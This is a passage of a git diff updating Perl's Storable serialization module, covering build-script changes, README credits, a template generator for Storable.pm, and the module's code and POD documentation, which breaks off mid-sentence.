+ $pm->{"lib/Storable/Limit.pm"} = '$(INST_ARCHLIB)/Storable/Limit.pm';
+}
WriteMakefile(
NAME => 'Storable',
DISTNAME => "Storable",
# We now ship this in t/
# PREREQ_PM => { 'Test::More' => '0.41' },
+ PL_FILES => { }, # prevent default behaviour
+ PM => $pm,
PREREQ_PM => { XSLoader => 0 },
INSTALLDIRS => ($] >= 5.007 && $] < 5.012) ? 'perl' : 'site',
- VERSION_FROM => 'Storable.pm',
+ VERSION_FROM => '__Storable__.pm',
+ ABSTRACT_FROM => '__Storable__.pm',
($ExtUtils::MakeMaker::VERSION > 6.45 ?
(META_MERGE => { resources =>
- { bugtracker => 'http://rt.perl.org/perlbug/' }
+ { bugtracker => 'http://rt.perl.org/perlbug/' },
+ provides => {
+ 'Storable' => {
+ file => 'Storable_pm.PL',
+ version => MM->parse_version('__Storable__.pm'),
+ },
+ },
+
},
) : ()),
dist => { SUFFIX => 'gz', COMPRESS => 'gzip -f' },
+ clean => { FILES => 'Storable-* Storable.pm lib' },
);
+# Unlink the .pm file included with the distribution
+1 while unlink "Storable.pm";
+
my $ivtype = $Config{ivtype};
# I don't know if the VMS folks ever supported long long on 5.6.x
@@ -43,3 +69,60 @@ in the Storable documentation for instructions on how to read your data.
EOM
}
+
+# compute the maximum stacksize, before and after linking
+package MY;
+
+# FORCE finish of INST_DYNAMIC, avoid loading the old Storable (failed XS_VERSION check)
+sub xlinkext {
+ my $s = shift->SUPER::linkext(@_);
+ $s =~ s|( :: .*)| $1 FORCE stacksize|;
+ $s
+}
+
+sub depend {
+ my $extra_deps = "";
+ my $options = "";
+ if ($ENV{PERL_CORE}) {
+ $options = "--core";
+ }
+ else {
+ # blib.pm needs arch/lib
+ $extra_deps = ' Storable.pm';
+ }
+ my $linktype = uc($_[0]->{LINKTYPE});
+ my $limit_pm = File::Spec->catfile('lib', 'Storable', 'Limit.pm');
+ "
+$limit_pm : stacksize \$(INST_$linktype)$extra_deps
+ \$(MKPATH) \$(INST_LIB)
+ \$(FULLPERLRUNINST) stacksize $options
+
+release : dist
+ git tag \$(VERSION)
+ cpan-upload \$(DISTVNAME).tar\$(SUFFIX)
+ git push
+ git push --tags
+"
+}
+
+sub test {
+ my ($self, %attr) = @_;
+
+ my $out = $self->SUPER::test(%attr);
+
+ if ($ENV{PERL_CORE}) {
+ $out =~ s!^(test(?:db)?_(?:static|dynamic)\b.*)!$1 lib/Storable/Limit.pm!gm;
+ }
+
+ $out;
+}
+
+sub postamble {
+'
+all :: Storable.pm
+ $(NOECHO) $(NOOP)
+
+Storable.pm :: Storable.pm.PL __Storable__.pm
+ $(PERLRUN) Storable.pm.PL
+'
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/README b/gnu/usr.bin/perl/dist/Storable/README
index 247dcc245af..f63ace94345 100644
--- a/gnu/usr.bin/perl/dist/Storable/README
+++ b/gnu/usr.bin/perl/dist/Storable/README
@@ -1,6 +1,7 @@
- Storable 2.14
+ Storable 3.05c
Copyright (c) 1995-2000, Raphael Manfredi
Copyright (c) 2001-2004, Larry Wall
+ Copyright (c) 2016,2017 cPanel Inc
------------------------------------------------------------------------
This program is free software; you can redistribute it and/or modify
@@ -15,8 +16,8 @@
+=======================================================================
| Storable is distributed as a module, but is also part of the official
| Perl core distribution, as of perl 5.8.
-| Maintenance is now done by the perl5-porters. We thank Raphael
-| Manfredi for providing us with this very useful module.
+| Maintenance is partially done by the perl5-porters, and for cperl by cPanel.
+| We thank Raphael Manfredi for providing us with this very useful module.
+=======================================================================
The Storable extension brings persistence to your data.
@@ -47,7 +48,10 @@ To compile this extension, run:
There is an embedded POD manual page in Storable.pm.
Storable was written by Raphael Manfredi <Raphael_Manfredi@pobox.com>
-Maintenance is now done by the perl5-porters <perl5-porters@perl.org>
+Maintenance is now done by cperl, https://github.com/rurban/Storable/
+Note that p5p still ships an old broken version, without stack overflow
+protection and large object support. As long as you don't store overlarge
+objects, they are compatible.
Please e-mail us with problems, bug fixes, comments and complaints,
although if you have complements you should send them to Raphael.
@@ -68,6 +72,10 @@ Thanks to (in chronological order):
Marc Lehmann <pcg@opengroup.org>
Justin Banks <justinb@wamnet.com>
Jarkko Hietaniemi <jhi@iki.fi> (AGAIN, as perl 5.7.0 Pumpkin!)
+ Todd Rinaldo <toddr@cpanel.net> and JD Lightsey <jd@cpanel.net>
+ for optional disabling tie and bless for increased security.
+ Reini Urban <rurban@cpanel.net> for the 3.0x >2G support and rewrite
+ JD Lightsey <jd@cpanel.net>
for their contributions.
@@ -104,6 +112,3 @@ bring you this Storable release:
Tim Bunce <Tim.Bunce@pobox.com>
VMSperlers
Yitzchak Scott-Thoennes <sthoenna@efn.org>
-
-If I've missed you out, please accept my apologies, and e-mail your
-patch to perl5-porters@perl.org.
diff --git a/gnu/usr.bin/perl/dist/Storable/Storable.pm.PL b/gnu/usr.bin/perl/dist/Storable/Storable.pm.PL
new file mode 100644
index 00000000000..df979c09a9b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/Storable.pm.PL
@@ -0,0 +1,35 @@
+use strict;
+use warnings;
+
+use Config;
+
+my $template;
+{ # keep all the code in an external template to keep it easy to update
+ local $/;
+ open my $FROM, '<', '__Storable__.pm' or die $!;
+ $template = <$FROM>;
+ close $FROM or die $!;
+}
+
+sub CAN_FLOCK {
+ return
+ $Config{'d_flock'} ||
+ $Config{'d_fcntl_can_lock'} ||
+ $Config{'d_lockf'}
+ ? 1 : 0;
+}
+
+my $CAN_FLOCK = CAN_FLOCK();
+
+# populate the sub and preserve it if used outside
+$template =~ s{^sub CAN_FLOCK;.*$}{sub CAN_FLOCK { ${CAN_FLOCK} } # computed by Storable.pm.PL}m;
+# alternatively we could remove the sub
+#$template =~ s{^sub CAN_FLOCK;.*$}{}m;
+# replace local function calls to hardcoded value
+$template =~ s{&CAN_FLOCK}{${CAN_FLOCK}}g;
+
+{
+ open my $OUT, '>', 'Storable.pm' or die $!;
+ print {$OUT} $template or die $!;
+ close $OUT or die $!;
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/__Storable__.pm b/gnu/usr.bin/perl/dist/Storable/__Storable__.pm
new file mode 100644
index 00000000000..71c669daaf2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/__Storable__.pm
@@ -0,0 +1,1430 @@
+#
+# Copyright (c) 1995-2001, Raphael Manfredi
+# Copyright (c) 2002-2014 by the Perl 5 Porters
+# Copyright (c) 2015-2016 cPanel Inc
+# Copyright (c) 2017 Reini Urban
+#
+# You may redistribute only under the same terms as Perl 5, as specified
+# in the README file that comes with the distribution.
+#
+
+require XSLoader;
+require Exporter;
+package Storable;
+
+our @ISA = qw(Exporter);
+our @EXPORT = qw(store retrieve);
+our @EXPORT_OK = qw(
+ nstore store_fd nstore_fd fd_retrieve
+ freeze nfreeze thaw
+ dclone
+ retrieve_fd
+ lock_store lock_nstore lock_retrieve
+ file_magic read_magic
+ BLESS_OK TIE_OK FLAGS_COMPAT
+ stack_depth stack_depth_hash
+);
+
+our ($canonical, $forgive_me);
+
+our $VERSION = '3.08';
+
+our $recursion_limit;
+our $recursion_limit_hash;
+
+do "Storable/Limit.pm";
+
+$recursion_limit = 512
+ unless defined $recursion_limit;
+$recursion_limit_hash = 256
+ unless defined $recursion_limit_hash;
+
+BEGIN {
+ if (eval {
+ local $SIG{__DIE__};
+ local @INC = @INC;
+ pop @INC if $INC[-1] eq '.';
+ require Log::Agent;
+ 1;
+ }) {
+ Log::Agent->import;
+ }
+ #
+ # Use of Log::Agent is optional. If it hasn't imported these subs then
+ # provide a fallback implementation.
+ #
+ unless ($Storable::{logcroak} && *{$Storable::{logcroak}}{CODE}) {
+ require Carp;
+ *logcroak = sub {
+ Carp::croak(@_);
+ };
+ }
+ unless ($Storable::{logcarp} && *{$Storable::{logcarp}}{CODE}) {
+ require Carp;
+ *logcarp = sub {
+ Carp::carp(@_);
+ };
+ }
+}
+
+#
+# They might miss :flock in Fcntl
+#
+
+BEGIN {
+ if (eval { require Fcntl; 1 } && exists $Fcntl::EXPORT_TAGS{'flock'}) {
+ Fcntl->import(':flock');
+ } else {
+ eval q{
+ sub LOCK_SH () { 1 }
+ sub LOCK_EX () { 2 }
+ };
+ }
+}
+
+sub CLONE {
+ # clone context under threads
+ Storable::init_perinterp();
+}
+
+sub BLESS_OK () { 2 }
+sub TIE_OK () { 4 }
+sub FLAGS_COMPAT () { BLESS_OK | TIE_OK }
+
+# By default restricted hashes are downgraded on earlier perls.
+
+$Storable::flags = FLAGS_COMPAT;
+$Storable::downgrade_restricted = 1;
+$Storable::accept_future_minor = 1;
+
+XSLoader::load('Storable');
+
+#
+# Determine whether locking is possible, but only when needed.
+#
+
+sub CAN_FLOCK; # TEMPLATE - replaced by Storable.pm.PL
+
+sub show_file_magic {
+ print <<EOM;
+#
+# To recognize the data files of the Perl module Storable,
+# the following lines need to be added to the local magic(5) file,
+# usually either /usr/share/misc/magic or /etc/magic.
+#
+0 string perl-store perl Storable(v0.6) data
+>4 byte >0 (net-order %d)
+>>4 byte &01 (network-ordered)
+>>4 byte =3 (major 1)
+>>4 byte =2 (major 1)
+
+0 string pst0 perl Storable(v0.7) data
+>4 byte >0
+>>4 byte &01 (network-ordered)
+>>4 byte =5 (major 2)
+>>4 byte =4 (major 2)
+>>5 byte >0 (minor %d)
+EOM
+}
+
+sub file_magic {
+ require IO::File;
+
+ my $file = shift;
+ my $fh = IO::File->new;
+ open($fh, "<", $file) || die "Can't open '$file': $!";
+ binmode($fh);
+ defined(sysread($fh, my $buf, 32)) || die "Can't read from '$file': $!";
+ close($fh);
+
+ $file = "./$file" unless $file; # ensure TRUE value
+
+ return read_magic($buf, $file);
+}
+
+sub read_magic {
+ my($buf, $file) = @_;
+ my %info;
+
+ my $buflen = length($buf);
+ my $magic;
+ if ($buf =~ s/^(pst0|perl-store)//) {
+ $magic = $1;
+ $info{file} = $file || 1;
+ }
+ else {
+ return undef if $file;
+ $magic = "";
+ }
+
+ return undef unless length($buf);
+
+ my $net_order;
+ if ($magic eq "perl-store" && ord(substr($buf, 0, 1)) > 1) {
+ $info{version} = -1;
+ $net_order = 0;
+ }
+ else {
+ $buf =~ s/(.)//s;
+ my $major = (ord $1) >> 1;
+ return undef if $major > 4; # sanity (assuming we never go that high)
+ $info{major} = $major;
+ $net_order = (ord $1) & 0x01;
+ if ($major > 1) {
+ return undef unless $buf =~ s/(.)//s;
+ my $minor = ord $1;
+ $info{minor} = $minor;
+ $info{version} = "$major.$minor";
+ $info{version_nv} = sprintf "%d.%03d", $major, $minor;
+ }
+ else {
+ $info{version} = $major;
+ }
+ }
+ $info{version_nv} ||= $info{version};
+ $info{netorder} = $net_order;
+
+ unless ($net_order) {
+ return undef unless $buf =~ s/(.)//s;
+ my $len = ord $1;
+ return undef unless length($buf) >= $len;
+ return undef unless $len == 4 || $len == 8; # sanity
+ @info{qw(byteorder intsize longsize ptrsize)}
+ = unpack "a${len}CCC", $buf;
+ (substr $buf, 0, $len + 3) = '';
+ if ($info{version_nv} >= 2.002) {
+ return undef unless $buf =~ s/(.)//s;
+ $info{nvsize} = ord $1;
+ }
+ }
+ $info{hdrsize} = $buflen - length($buf);
+
+ return \%info;
+}
+
+sub BIN_VERSION_NV {
+ sprintf "%d.%03d", BIN_MAJOR(), BIN_MINOR();
+}
+
+sub BIN_WRITE_VERSION_NV {
+ sprintf "%d.%03d", BIN_MAJOR(), BIN_WRITE_MINOR();
+}
+
+#
+# store
+#
+# Store target object hierarchy, identified by a reference to its root.
+# The stored object tree may later be retrieved to memory via retrieve.
+# Returns undef if an I/O error occurred, in which case the file is
+# removed.
+#
+sub store {
+ return _store(\&pstore, @_, 0);
+}
+
+#
+# nstore
+#
+# Same as store, but in network order.
+#
+sub nstore {
+ return _store(\&net_pstore, @_, 0);
+}
+
+#
+# lock_store
+#
+# Same as store, but flock the file first (advisory locking).
+#
+sub lock_store {
+ return _store(\&pstore, @_, 1);
+}
+
+#
+# lock_nstore
+#
+# Same as nstore, but flock the file first (advisory locking).
+#
+sub lock_nstore {
+ return _store(\&net_pstore, @_, 1);
+}
+
+# Internal store to file routine
+sub _store {
+ my $xsptr = shift;
+ my $self = shift;
+ my ($file, $use_locking) = @_;
+ logcroak "not a reference" unless ref($self);
+ logcroak "wrong argument number" unless @_ == 2; # No @foo in arglist
+ local *FILE;
+ if ($use_locking) {
+ open(FILE, ">>", $file) || logcroak "can't write into $file: $!";
+ unless (&CAN_FLOCK) {
+ logcarp
+ "Storable::lock_store: fcntl/flock emulation broken on $^O";
+ return undef;
+ }
+ flock(FILE, LOCK_EX) ||
+ logcroak "can't get exclusive lock on $file: $!";
+ truncate FILE, 0;
+ # Unlocking will happen when FILE is closed
+ } else {
+ open(FILE, ">", $file) || logcroak "can't create $file: $!";
+ }
+ binmode FILE; # Archaic systems...
+ my $da = $@; # Don't mess if called from exception handler
+ my $ret;
+ # Call C routine nstore or pstore, depending on network order
+ eval { $ret = &$xsptr(*FILE, $self) };
+ # close will return true on success, so the or short-circuits, the ()
+ # expression is true, and for that case the block will only be entered
+ # if $@ is true (ie eval failed)
+ # if close fails, it returns false, $ret is altered, *that* is (also)
+ # false, so the () expression is false, !() is true, and the block is
+ # entered.
+ if (!(close(FILE) or undef $ret) || $@) {
+ unlink($file) or warn "Can't unlink $file: $!\n";
+ }
+ if ($@) {
+ $@ =~ s/\.?\n$/,/ unless ref $@;
+ logcroak $@;
+ }
+ $@ = $da;
+ return $ret;
+}
+
+#
+# store_fd
+#
+# Same as store, but perform on an already opened file descriptor instead.
+# Returns undef if an I/O error occurred.
+#
+sub store_fd {
+ return _store_fd(\&pstore, @_);
+}
+
+#
+# nstore_fd
+#
+# Same as store_fd, but in network order.
+#
+sub nstore_fd {
+ my ($self, $file) = @_;
+ return _store_fd(\&net_pstore, @_);
+}
+
+# Internal store routine on opened file descriptor
+sub _store_fd {
+ my $xsptr = shift;
+ my $self = shift;
+ my ($file) = @_;
+ logcroak "not a reference" unless ref($self);
+ logcroak "too many arguments" unless @_ == 1; # No @foo in arglist
+ my $fd = fileno($file);
+ logcroak "not a valid file descriptor" unless defined $fd;
+ my $da = $@; # Don't mess if called from exception handler
+ my $ret;
+ # Call C routine nstore or pstore, depending on network order
+ eval { $ret = &$xsptr($file, $self) };
+ logcroak $@ if $@ =~ s/\.?\n$/,/;
+ local $\; print $file ''; # Autoflush the file if wanted
+ $@ = $da;
+ return $ret;
+}
+
+#
+# freeze
+#
+# Store object and its hierarchy in memory and return a scalar
+# containing the result.
+#
+sub freeze {
+ _freeze(\&mstore, @_);
+}
+
+#
+# nfreeze
+#
+# Same as freeze but in network order.
+#
+sub nfreeze {
+ _freeze(\&net_mstore, @_);
+}
+
+# Internal freeze routine
+sub _freeze {
+ my $xsptr = shift;
+ my $self = shift;
+ logcroak "not a reference" unless ref($self);
+ logcroak "too many arguments" unless @_ == 0; # No @foo in arglist
+ my $da = $@; # Don't mess if called from exception handler
+ my $ret;
+ # Call C routine mstore or net_mstore, depending on network order
+ eval { $ret = &$xsptr($self) };
+ if ($@) {
+ $@ =~ s/\.?\n$/,/ unless ref $@;
+ logcroak $@;
+ }
+ $@ = $da;
+ return $ret ? $ret : undef;
+}
+
+#
+# retrieve
+#
+# Retrieve object hierarchy from disk, returning a reference to the root
+# object of that tree.
+#
+# retrieve(file, flags)
+# flags include by default BLESS_OK=2 | TIE_OK=4
+# with flags=0 or the global $Storable::flags set to 0, no resulting object
+# will be blessed nor tied.
+#
+sub retrieve {
+ _retrieve(shift, 0, @_);
+}
+
+#
+# lock_retrieve
+#
+# Same as retrieve, but with advisory locking.
+#
+sub lock_retrieve {
+ _retrieve(shift, 1, @_);
+}
+
+# Internal retrieve routine
+sub _retrieve {
+ my ($file, $use_locking, $flags) = @_;
+ $flags = $Storable::flags unless defined $flags;
+ my $FILE;
+ open($FILE, "<", $file) || logcroak "can't open $file: $!";
+ binmode $FILE; # Archaic systems...
+ my $self;
+ my $da = $@; # Could be from exception handler
+ if ($use_locking) {
+ unless (&CAN_FLOCK) {
+ logcarp
+ "Storable::lock_store: fcntl/flock emulation broken on $^O";
+ return undef;
+ }
+ flock($FILE, LOCK_SH) || logcroak "can't get shared lock on $file: $!";
+ # Unlocking will happen when FILE is closed
+ }
+ eval { $self = pretrieve($FILE, $flags) }; # Call C routine
+ close($FILE);
+ if ($@) {
+ $@ =~ s/\.?\n$/,/ unless ref $@;
+ logcroak $@;
+ }
+ $@ = $da;
+ return $self;
+}
+
+#
+# fd_retrieve
+#
+# Same as retrieve, but perform from an already opened file descriptor instead.
+#
+sub fd_retrieve {
+ my ($file, $flags) = @_;
+ $flags = $Storable::flags unless defined $flags;
+ my $fd = fileno($file);
+ logcroak "not a valid file descriptor" unless defined $fd;
+ my $self;
+ my $da = $@; # Could be from exception handler
+ eval { $self = pretrieve($file, $flags) }; # Call C routine
+ if ($@) {
+ $@ =~ s/\.?\n$/,/ unless ref $@;
+ logcroak $@;
+ }
+ $@ = $da;
+ return $self;
+}
+
+sub retrieve_fd { &fd_retrieve } # Backward compatibility
+
+#
+# thaw
+#
+# Recreate objects in memory from an existing frozen image created
+# by freeze. If the frozen image passed is undef, return undef.
+#
+# thaw(frozen_obj, flags)
+# flags include by default BLESS_OK=2 | TIE_OK=4
+# with flags=0 or the global $Storable::flags set to 0, no resulting object
+# will be blessed nor tied.
+#
+sub thaw {
+ my ($frozen, $flags) = @_;
+ $flags = $Storable::flags unless defined $flags;
+ return undef unless defined $frozen;
+ my $self;
+ my $da = $@; # Could be from exception handler
+ eval { $self = mretrieve($frozen, $flags) };# Call C routine
+ if ($@) {
+ $@ =~ s/\.?\n$/,/ unless ref $@;
+ logcroak $@;
+ }
+ $@ = $da;
+ return $self;
+}
+
+#
+# _make_re($re, $flags)
+#
+# Internal function used to thaw a regular expression.
+#
+
+my $re_flags;
+BEGIN {
+ if ($] < 5.010) {
+ $re_flags = qr/\A[imsx]*\z/;
+ }
+ elsif ($] < 5.014) {
+ $re_flags = qr/\A[msixp]*\z/;
+ }
+ elsif ($] < 5.022) {
+ $re_flags = qr/\A[msixpdual]*\z/;
+ }
+ else {
+ $re_flags = qr/\A[msixpdualn]*\z/;
+ }
+}
+
+sub _make_re {
+ my ($re, $flags) = @_;
+
+ $flags =~ $re_flags
+ or die "regexp flags invalid";
+
+ my $qr = eval "qr/\$re/$flags";
+ die $@ if $@;
+
+ $qr;
+}
+
+if ($] < 5.012) {
+ eval <<'EOS'
+sub _regexp_pattern {
+ my $re = "" . shift;
+ $re =~ /\A\(\?([xism]*)(?:-[xism]*)?:(.*)\)\z/s
+ or die "Cannot parse regexp /$re/";
+ return ($2, $1);
+}
+1
+EOS
+ or die "Cannot define _regexp_pattern: $@";
+}
+
+1;
+__END__
+
+=head1 NAME
+
+Storable - persistence for Perl data structures
+
+=head1 SYNOPSIS
+
+ use Storable;
+ store \%table, 'file';
+ $hashref = retrieve('file');
+
+ use Storable qw(nstore store_fd nstore_fd freeze thaw dclone);
+
+ # Network order
+ nstore \%table, 'file';
+ $hashref = retrieve('file'); # There is NO nretrieve()
+
+ # Storing to and retrieving from an already opened file
+ store_fd \@array, \*STDOUT;
+ nstore_fd \%table, \*STDOUT;
+ $aryref = fd_retrieve(\*SOCKET);
+ $hashref = fd_retrieve(\*SOCKET);
+
+ # Serializing to memory
+ $serialized = freeze \%table;
+ %table_clone = %{ thaw($serialized) };
+
+ # Deep (recursive) cloning
+ $cloneref = dclone($ref);
+
+ # Advisory locking
+ use Storable qw(lock_store lock_nstore lock_retrieve)
+ lock_store \%table, 'file';
+ lock_nstore \%table, 'file';
+ $hashref = lock_retrieve('file');
+
+=head1 DESCRIPTION
+
+The Storable package brings persistence to your Perl data structures
+containing SCALAR, ARRAY, HASH or REF objects, i.e. anything that can be
+conveniently stored to disk and retrieved at a later time.
+
+It can be used in the regular procedural way by calling C<store> with
+a reference to the object to be stored, along with the file name where
+the image should be written.
+
+The routine returns C<undef> for I/O problems or other internal error,
+a true value otherwise. Serious errors are propagated as a C<die> exception.
+
+To retrieve data stored to disk, use C<retrieve> with a file name.
+The objects stored into that file are recreated into memory for you,
+and a I<reference> to the root object is returned. In case an I/O error
+occurs while reading, C<undef> is returned instead. Other serious
+errors are propagated via C<die>.
+
+Since storage is performed recursively, you might want to stuff references
+to objects that share a lot of common data into a single array or hash
+table, and then store that object. That way, when you retrieve back the
+whole thing, the objects will continue to share what they originally shared.
+
+At the cost of a slight header overhead, you may store to an already
+opened file descriptor using the C<store_fd> routine, and retrieve
+from a file via C<fd_retrieve>. Those names aren't imported by default,
+so you will have to do that explicitly if you need those routines.
+The file descriptor you supply must be already opened, for read
+if you're going to retrieve and for write if you wish to store.
+
+ store_fd(\%table, *STDOUT) || die "can't store to stdout\n";
+ $hashref = fd_retrieve(*STDIN);
+
+You can also store data in network order to allow easy sharing across
+multiple platforms, or when storing on a socket known to be remotely
+connected. The routines to call have an initial C<n> prefix for I<network>,
+as in C<nstore> and C<nstore_fd>. At retrieval time, your data will be
+correctly restored so you don't have to know whether you're restoring
+from native or network ordered data. Double values are stored stringified
+to ensure portability as well, at the slight risk of loosing some precision
+in the last decimals.
+
+When using C<fd_retrieve>, objects are retrieved in sequence, one
+object (i.e. one recursive tree) per associated C<store_fd>.
+
+If you're more from the object-oriented camp, you can inherit from
+Storable and directly store your objects by invoking C<store> as
+a method. The fact that the root of the to-be-stored tree is a
+blessed reference (i.e. an object) is special-cased so that the
+retrieve does not provide a reference to that object but rather the
+blessed object reference itself. (Otherwise, you'd get a reference
+to that blessed object).
+
+=head1 MEMORY STORE
+
+The Storable engine can also store data into a Perl scalar instead, to
+later retrieve them. This is mainly used to freeze a complex structure in
+some safe compact memory place (where it can possibly be sent to another
+process via some IPC, since freezing the structure also serializes it in
+effect). Later on, and maybe somewhere else, you can thaw the Perl scalar
+out and recreate the original complex structure in memory.
+
+Surprisingly, the routines to be called are named C<freeze> and C<thaw>.
+If you wish to send out the frozen scalar to another machine, use
+C<nfreeze> instead to get a portable image.
+
+Note that freezing an object structure and immediately thawing it
+actually achieves a deep cloning of that structure:
+
+ dclone(.) = thaw(freeze(.))
+
+Storable provides you with a C<dclone> interface which does not create
+that intermediary scalar but instead freezes the structure in some
+internal memory space and then immediately thaws it out.
+
+=head1 ADVISORY LOCKING
+
+The C<lock_store> and C<lock_nstore> routine are equivalent to
+C<store> and C<nstore>, except that they get an exclusive lock on
+the file before writing. Likewise, C<lock_retrieve> does the same
+as C<retrieve>, but also gets a shared lock on the file before reading.
+
+As with any advisory locking scheme, the protection only works if you
+systematically use C<lock_store> and C<lock_retrieve>. If one side of
+your application uses C<store> whilst the other uses C<lock_retrieve>,
+you will get no protection at all.
+
+The internal advisory locking is implemented using Perl's flock()
+routine. If your system does not support any form of flock(), or if
+you share your files across NFS, you might wish to use other forms
+of locking by using modules such as LockFile::Simple which lock a
+file using a filesystem entry, instead of locking the file descriptor.
+
+=head1 SPEED
+
+The heart of Storable is written in C for decent speed. Extra low-level
+optimizations have been made when manipulating perl internals, to
+sacrifice encapsulation for the benefit of greater speed.
+
+=head1 CANONICAL REPRESENTATION
+
+Normally, Storable stores elements of hashes in the order they are
+stored internally by Perl, i.e. pseudo-randomly. If you set
+C<$Storable::canonical> to some C<TRUE> value, Storable will store
+hashes with the elements sorted by their key. This allows you to
+compare data structures by comparing their frozen representations (or
+even the compressed frozen representations), which can be useful for
+creating lookup tables for complicated queries.
+
+Canonical order does not imply network order; those are two orthogonal
+settings.
+
+=head1 CODE REFERENCES
+
+Since Storable version 2.05, CODE references may be serialized with
+the help of L<B::Deparse>. To enable this feature, set
+C<$Storable::Deparse> to a true value. To enable deserialization,
+C<$Storable::Eval> should be set to a true value. Be aware that
+deserialization is done through C<eval>, which is dangerous if the
+Storable file contains malicious data. You can set C<$Storable::Eval>
+to a subroutine reference which would be used instead of C<eval>. See
+below for an example using a L<Safe> compartment for deserialization
+of CODE references.
+
+If C<$Storable::Deparse> and/or C<$Storable::Eval> are set to false
+values, then the value of C<$Storable::forgive_me> (see below) is
+respected while serializing and deserializing.
+
+=head1 FORWARD COMPATIBILITY
+
+This release of Storable can be used on a newer version of Perl to
+serialize data which is not supported by earlier Perls. By default,
+Storable will attempt to do the right thing, by C<croak()>ing if it
+encounters data that it cannot deserialize. However, the defaults
+can be changed as follows:
+
+=over 4
+
+=item utf8 data
+
+Perl 5.6 added support for Unicode characters with code points > 255,
+and Perl 5.8 has full support for Unicode characters in hash keys.
+Perl internally encodes strings with these characters using utf8, and
+Storable serializes them as utf8. By default, if an older version of
+Perl encounters a utf8 value it cannot represent, it will C<croak()>.
+To change this behaviour so that Storable deserializes utf8 encoded
+values as the string of bytes (effectively dropping the I<is_utf8> flag)
+set C<$Storable::drop_utf8> to some C<TRUE> value. This is a form of
+data loss, because with C<$drop_utf8> true, it becomes impossible to tell
+whether the original data was the Unicode string, or a series of bytes
+that happen to be valid utf8.
+
+=item restricted hashes
+
+Perl 5.8 adds support for restricted hashes, which have keys
+restricted to a given set, and can have values locked to be read only.
+By default, when Storable encounters a restricted hash on a perl
+that doesn't support them, it will deserialize it as a normal hash,
+silently discarding any placeholder keys and leaving the keys and
+all values unlocked. To make Storable C<croak()> instead, set
+C<$Storable::downgrade_restricted> to a C<FALSE> value. To restore
+the default set it back to some C<TRUE> value.
+
+The cperl PERL_PERTURB_KEYS_TOP hash strategy has a known problem with
+restricted hashes.
+
+=item huge objects
+
+On 64bit systems some data structures may exceed the 2G (i.e. I32_MAX)
+limit. On 32bit systems also strings between I32 and U32 (2G-4G).
+Since Storable 3.00 (not in perl5 core) we are able to store and
+retrieve these objects, even if perl5 itself is not able to handle
+them. These are strings longer then 4G, arrays with more then 2G
+elements and hashes with more then 2G elements. cperl forbids hashes
+with more than 2G elements, but this fail in cperl then. perl5 itself
+at least until 5.26 allows it, but cannot iterate over them.
+Note that creating those objects might cause out of memory
+exceptions by the operating system before perl has a chance to abort.
+
+=item files from future versions of Storable
+
+Earlier versions of Storable would immediately croak if they encountered
+a file with a higher internal version number than the reading Storable
+knew about. Internal version numbers are increased each time new data
+types (such as restricted hashes) are added to the vocabulary of the file
+format. This meant that a newer Storable module had no way of writing a
+file readable by an older Storable, even if the writer didn't store newer
+data types.
+
+This version of Storable will defer croaking until it encounters a data
+type in the file that it does not recognize. This means that it will
+continue to read files generated by newer Storable modules which are careful
+in what they write out, making it easier to upgrade Storable modules in a
+mixed environment.
+
+The old behaviour of immediate croaking can be re-instated by setting
+C<$Storable::accept_future_minor> to some C<FALSE> value.
+
+=back
+
+All these variables have no effect on a newer Perl which supports the
+relevant feature.
+
+=head1 ERROR REPORTING
+
+Storable uses the "exception" paradigm, in that it does not try to
+workaround failures: if something bad happens, an exception is
+generated from the caller's perspective (see L<Carp> and C<croak()>).
+Use eval {} to trap those exceptions.
+
+When Storable croaks, it tries to report the error via the C<logcroak()>
+routine from the C<Log::Agent> package, if it is available.
+
+Normal errors are reported by having store() or retrieve() return C<undef>.
+Such errors are usually I/O errors (or truncated stream errors at retrieval).
+
+When Storable throws the "Max. recursion depth with nested structures
+exceeded" error we are already out of stack space. Unfortunately on
+some earlier perl versions cleaning up a recursive data structure
+recurses into the free calls, which will lead to stack overflows in
+the cleanup. This data structure is not properly cleaned up then, it
+will only be destroyed during global destruction.
+
+=head1 WIZARDS ONLY
+
+=head2 Hooks
+
+Any class may define hooks that will be called during the serialization
+and deserialization process on objects that are instances of that class.
+Those hooks can redefine the way serialization is performed (and therefore,
+how the symmetrical deserialization should be conducted).
+
+Since we said earlier:
+
+ dclone(.) = thaw(freeze(.))
+
+everything we say about hooks should also hold for deep cloning. However,
+hooks get to know whether the operation is a mere serialization, or a cloning.
+
+Therefore, when serializing hooks are involved,
+
+ dclone(.) <> thaw(freeze(.))
+
+Well, you could keep them in sync, but there's no guarantee it will always
+hold on classes somebody else wrote. Besides, there is little to gain in
+doing so: a serializing hook could keep only one attribute of an object,
+which is probably not what should happen during a deep cloning of that
+same object.
+
+Here is the hooking interface:
+
+=over 4
+
+=item C<STORABLE_freeze> I<obj>, I<cloning>
+
+The serializing hook, called on the object during serialization. It can be
+inherited, or defined in the class itself, like any other method.
+
+Arguments: I<obj> is the object to serialize, I<cloning> is a flag indicating
+whether we're in a dclone() or a regular serialization via store() or freeze().
+
+Returned value: A LIST C<($serialized, $ref1, $ref2, ...)> where $serialized
+is the serialized form to be used, and the optional $ref1, $ref2, etc... are
+extra references that you wish to let the Storable engine serialize.
+
+At deserialization time, you will be given back the same LIST, but all the
+extra references will be pointing into the deserialized structure.
+
+The B<first time> the hook is hit in a serialization flow, you may have it
+return an empty list. That will signal the Storable engine to further
+discard that hook for this class and to therefore revert to the default
+serialization of the underlying Perl data. The hook will again be normally
+processed in the next serialization.
+
+Unless you know better, serializing hook should always say:
+
+ sub STORABLE_freeze {
+ my ($self, $cloning) = @_;
+ return if $cloning; # Regular default serialization
+ ....
+ }
+
+in order to keep reasonable dclone() semantics.
+
+=item C<STORABLE_thaw> I<obj>, I<cloning>, I<serialized>, ...
+
+The deserializing hook called on the object during deserialization.
+But wait: if we're deserializing, there's no object yet... right?
+
+Wrong: the Storable engine creates an empty one for you. If you know Eiffel,
+you can view C<STORABLE_thaw> as an alternate creation routine.
+
+This means the hook can be inherited like any other method, and that
+I<obj> is your blessed reference for this particular instance.
+
+The other arguments should look familiar if you know C<STORABLE_freeze>:
+I<cloning> is true when we're part of a deep clone operation, I<serialized>
+is the serialized string you returned to the engine in C<STORABLE_freeze>,
+and there may be an optional list of references, in the same order you gave
+them at serialization time, pointing to the deserialized objects (which
+have been processed courtesy of the Storable engine).
+
+When the Storable engine does not find any C<STORABLE_thaw> hook routine,
